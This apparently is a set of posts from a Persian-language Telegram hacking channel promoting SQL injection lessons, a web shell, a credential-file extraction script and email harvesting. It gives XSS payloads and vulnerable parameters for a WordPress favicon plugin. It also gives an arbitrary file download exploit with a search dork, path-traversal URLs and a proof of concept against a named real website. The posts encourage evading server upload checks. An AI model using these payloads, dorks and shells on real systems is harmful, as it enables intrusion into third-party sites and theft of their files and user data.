قسمت پانزدهم از اموزش باگ SQL

/*/&/*/&/*/&/*/~~~~
#Start #Bug #Sqli #Armia_Evil:)

《@LearnExploit-0Day.Today》

@LearnExploit

قسمت شانزدهم از اموزش باگ SQL

/*/&/*/&/*/&/*/~~~~
#Start #Bug #Sqli #Armia_Evil:)

《@LearnExploit-0Day.Today》

@LearnExploit

دوره اموزش باگ SQL👆
#اختصاصی

اسکریپت اسخراج یوزر های موجود در دایرکتوری
/etc/password/
#Script #python (py) #linux (OS)
@learnexploit

اسکریپت اسخراج یوزر های موجود در دایرکتوری
/etc/password/
#Script #python (py) #linux (OS)
@learnExploit ~ #X0P4SH4

اسکریپت php (ارسال درخواست به سمت سرور)
#PHP #Script (This Script For Your Own Risques )
@LearnExploit
0day.Today

اسکریپت php (ارسال درخواست به سمت سرور)
#PHP #Script (This Script For Your Own Risques )
———————————
اگر این اسکریپت بر روی سرور اپلود نشد میتونید اونو کریپت کنید :)
@LearnExploit
0day.Today

اموزش عوض کردن bash ترمینال در کالی لینوکس
#Isntall #Bash_it and #change of the #terminal #bash in #kali (2018.2)
0Day.Today
@LearnExploit

اموزش عوض کردن bash ترمینال در کالی لینوکس
#Isntall #Bash_it and #change of the #terminal #bash in #kali (2018.2)
0Day.Today
@LearnExploit

آموزش جمع اوری ایمیل های موجود در یک سایت توسط متاسپلویت
#Gathering #email on site with #Metasploit
0day.Today
LearnExploit

آموزش جمع اوری ایمیل های موجود در یک سایت توسط متاسپلویت
#Gathering #email on site with #Metasploit
0day.Today
LearnExploit

اسکریپت نوشته شده به زبان سی
#Script #Linux_reboot Write with #C lang

اسکریپت نوشته شده به زبان سی
#Script #Linux_reboot Write with #C lang
——————
0Day.Today
@LearnExploit

شل noname
#Noname #Shell
———————-
0Day.Today
T.me/LearnExploit

شل noname
#Noname #Shell
===================
0Day.Today Of TON ~ @LearNExploiT

اموزش XSS در دو سطح low و medium
#Xss #Learning in Two levels : #Low #Medium security
—————
0Day.Today boy's
t.me/LearnExploit

اموزش XSS در دو سطح low و medium
#Xss #Learning in Two levels : #Low #Medium security
—————
بخش هایی که در این فیلم یاد میگیرید :
1 - تست نفوذ XSS در سطح low
2 - رفع این اسیب پذیری از سطح low به medium
3 - تست نفوذ XSS در سطح Medium
—————
Time : 6 min
Qul : 1080
file size : 36 mg
dl link : http://www.mediafire.com/file/sp8x511qm3bkw5p/Xss%20Learning.rar
—————
0Day.Today boy's
t.me/LearnExploit

POC
اسیب پذیریه XSS در پلاگین (All In One Favicon ) :
#XSS #Multiple #Vul in #wp #plugin #all_In_One_Favicon
0Day.Today Boy's
@LearnExploit

اسیب پذیریه XSS در پلاگین (All In One Favicon ) :
#XSS #Multiple #Vul in #wp #plugin #all_In_One_Favicon
—————-
این اسیب پذیری در نسخه های پاین تر از 4.6 به هکر اجازه ی اجرا کردن کد های جاوا اسکریپت رو میده
url : http://localhost/wordpress/wp-admin/options-general.php?page=all-in-one-favicon%2Fall-in-one-favicon.php
==
پارامتر هایی که این اسیب پذیریو دارند :
backendApple-Text
backendICO-Text
backendPNG-Text
backendGIF-Text
frontendApple-Text
frontendICO-Text
frontendPNG-Text
frontendGIF-Text
==
پیلود هایی که برای این اسیب پذیری استفاده میشه :
"><img src=a onerror=alert(1)>
"><img src=a onerror=alert(String.fromCharCode(88,83,83))>
==
Exploit link :
https://www.exploit-db.com/exploits/45056/
—————————
0Day.Today Boy's
@LearnExploit

اسیب پذیری (FTP2FTP ( Arbitrary File Download :
در این اسیب پذیری شما میتوانید تمام فایل هایی که توسط ادمین سایت اپلود شده است رو دانلود کنید !
—
Dork : inurl:/download2.php?id=
—
Exploit :
http(s)://host.com/[patch]?id=../index.php
or
http(s)://host.com/[patch]?id=/index.php
—
POC :
before exploit :
http://www.supersat.cz/download/azbox/download2.php?id=23
after exploit :
http://www.supersat.cz/download/azbox/download2.php?id=../index.php
=========================
0Dya.Today Boy's
T.me/LearnExploit